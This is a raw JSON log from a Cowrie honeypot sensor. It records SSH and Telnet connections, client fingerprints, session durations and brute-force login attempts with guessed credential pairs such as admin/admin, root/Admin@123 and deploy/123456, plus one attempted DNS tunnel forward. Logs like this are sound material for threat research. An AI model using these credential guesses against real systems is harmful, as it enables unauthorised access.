{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:30.666625Z","src_ip":"87.251.64.176","session":"e99fd5ebcc40","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:30.955338Z","src_ip":"87.251.64.176","session":"e99fd5ebcc40","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:31.058313Z","session":"e99fd5ebcc40","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:31.155843Z","src_ip":"87.251.64.176","session":"e99fd5ebcc40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:31.389664Z","src_ip":"87.251.64.176","session":"e99fd5ebcc40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.9624125957489,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:32.167358Z","src_ip":"152.42.224.71","session":"49bf73ff8d97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":58804,"dst_ip":"159.203.135.109","dst_port":22,"session":"a613c9694632","protocol":"ssh","message":"New connection: 47.237.167.49:58804 (159.203.135.109:22) [session: a613c9694632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:36.528671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:36.532553Z","src_ip":"47.237.167.49","session":"a613c9694632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.724687337875366,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:40.089538Z","src_ip":"152.42.224.71","session":"6700ce2180cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":48910,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb59a3c306b7","protocol":"ssh","message":"New connection: 147.45.199.80:48910 (159.203.135.109:22) [session: cb59a3c306b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:42.703652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:42.708302Z","src_ip":"147.45.199.80","session":"cb59a3c306b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:42.806939Z","src_ip":"147.45.199.80","session":"cb59a3c306b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"357753","message":"login attempt [root/357753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:43.104023Z","src_ip":"147.45.199.80","session":"cb59a3c306b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:44.211167Z","src_ip":"147.45.199.80","session":"cb59a3c306b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54804,"dst_ip":"10.17.0.5","dst_port":23,"session":"355650a33ed1","protocol":"telnet","message":"New connection: 152.42.224.71:54804 (10.17.0.5:23) [session: 355650a33ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:45.242856Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54000,"dst_ip":"10.17.0.5","dst_port":23,"session":"72c461067c0c","protocol":"telnet","message":"New connection: 152.42.224.71:54000 (10.17.0.5:23) [session: 72c461067c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:49.379174Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54010,"dst_ip":"10.17.0.5","dst_port":23,"session":"32ed36668eb3","protocol":"telnet","message":"New connection: 152.42.224.71:54010 (10.17.0.5:23) [session: 32ed36668eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:50.125798Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54022,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52c8b7b6e29","protocol":"telnet","message":"New connection: 152.42.224.71:54022 (10.17.0.5:23) [session: e52c8b7b6e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:52.451401Z"}
{"eventid":"cowrie.session.closed","duration":40.864460706710815,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:56.375065Z","src_ip":"152.42.224.71","session":"ddb5ebc62518","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56086,"dst_ip":"10.17.0.5","dst_port":23,"session":"4741ce44b8a5","protocol":"telnet","message":"New connection: 152.42.224.71:56086 (10.17.0.5:23) [session: 4741ce44b8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:58.641490Z"}
{"eventid":"cowrie.session.closed","duration":40.50287175178528,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:59.001741Z","src_ip":"152.42.224.71","session":"2d6d5983cb46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.90286993980408,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:59.097711Z","src_ip":"152.42.224.71","session":"36db9c729a65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56094,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa434850231","protocol":"telnet","message":"New connection: 152.42.224.71:56094 (10.17.0.5:23) [session: caa434850231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:01.866414Z"}
{"eventid":"cowrie.session.closed","duration":47.604167222976685,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:03.561381Z","src_ip":"152.42.224.71","session":"16bb66d9fe1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":42106,"dst_ip":"159.203.135.109","dst_port":22,"session":"35328c3a0090","protocol":"ssh","message":"New connection: 43.128.86.117:42106 (159.203.135.109:22) [session: 35328c3a0090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:03.854681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:03.859588Z","src_ip":"43.128.86.117","session":"35328c3a0090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:04.096597Z","src_ip":"43.128.86.117","session":"35328c3a0090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"finger","message":"login attempt [root/finger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:05.072654Z","src_ip":"43.128.86.117","session":"35328c3a0090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56096,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9825c0afb3a","protocol":"telnet","message":"New connection: 152.42.224.71:56096 (10.17.0.5:23) [session: d9825c0afb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:05.383488Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:06.312380Z","src_ip":"43.128.86.117","session":"35328c3a0090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.470458269119263,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:06.713162Z","src_ip":"152.42.224.71","session":"355650a33ed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43218,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb66c367a90c","protocol":"telnet","message":"New connection: 152.42.224.71:43218 (10.17.0.5:23) [session: eb66c367a90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:08.647345Z"}
{"eventid":"cowrie.session.closed","duration":54.62563967704773,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:09.491415Z","src_ip":"152.42.224.71","session":"4b64f83b25a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43342,"dst_ip":"10.17.0.5","dst_port":23,"session":"b30e899dcb87","protocol":"telnet","message":"New connection: 152.42.224.71:43342 (10.17.0.5:23) [session: b30e899dcb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:18.537648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:19.892348Z","src_ip":"47.237.167.49","session":"10380fe169d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:19.895932Z","src_ip":"47.237.167.49","session":"10380fe169d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:23.580949Z","src_ip":"47.237.167.49","session":"a613c9694632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":61960,"dst_ip":"10.17.0.5","dst_port":22,"session":"0517223f8297","protocol":"ssh","message":"New connection: 194.59.206.2:61960 (10.17.0.5:22) [session: 0517223f8297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:24.606056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:24.611050Z","src_ip":"194.59.206.2","session":"0517223f8297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:24.702935Z","src_ip":"194.59.206.2","session":"0517223f8297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:24.794817Z","src_ip":"194.59.206.2","session":"0517223f8297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:27.043649Z","src_ip":"47.237.167.49","session":"10380fe169d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:27.669268Z","src_ip":"47.237.167.49","session":"a613c9694632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.14015316963196,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:28.519230Z","src_ip":"152.42.224.71","session":"72c461067c0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"76.7","message":"Connection lost after 76.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:28.788814Z","src_ip":"47.237.167.49","session":"10380fe169d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59002,"dst_ip":"10.17.0.5","dst_port":23,"session":"9625f07186b6","protocol":"telnet","message":"New connection: 152.42.224.71:59002 (10.17.0.5:23) [session: 9625f07186b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:29.050864Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59008,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd901c4f1d19","protocol":"telnet","message":"New connection: 152.42.224.71:59008 (10.17.0.5:23) [session: fd901c4f1d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:29.072073Z"}
{"eventid":"cowrie.session.closed","duration":39.027374267578125,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:29.153085Z","src_ip":"152.42.224.71","session":"32ed36668eb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.786588191986084,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:29.237881Z","src_ip":"152.42.224.71","session":"e52c8b7b6e29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"54.5","message":"Connection lost after 54.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:31.014550Z","src_ip":"47.237.167.49","session":"a613c9694632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.04782223701477,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:31.585374Z","src_ip":"152.42.224.71","session":"b30e899dcb87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60034,"dst_ip":"159.203.135.109","dst_port":22,"session":"74d1be067a7f","protocol":"ssh","message":"New connection: 103.176.20.57:60034 (159.203.135.109:22) [session: 74d1be067a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:13:42.977990Z"}
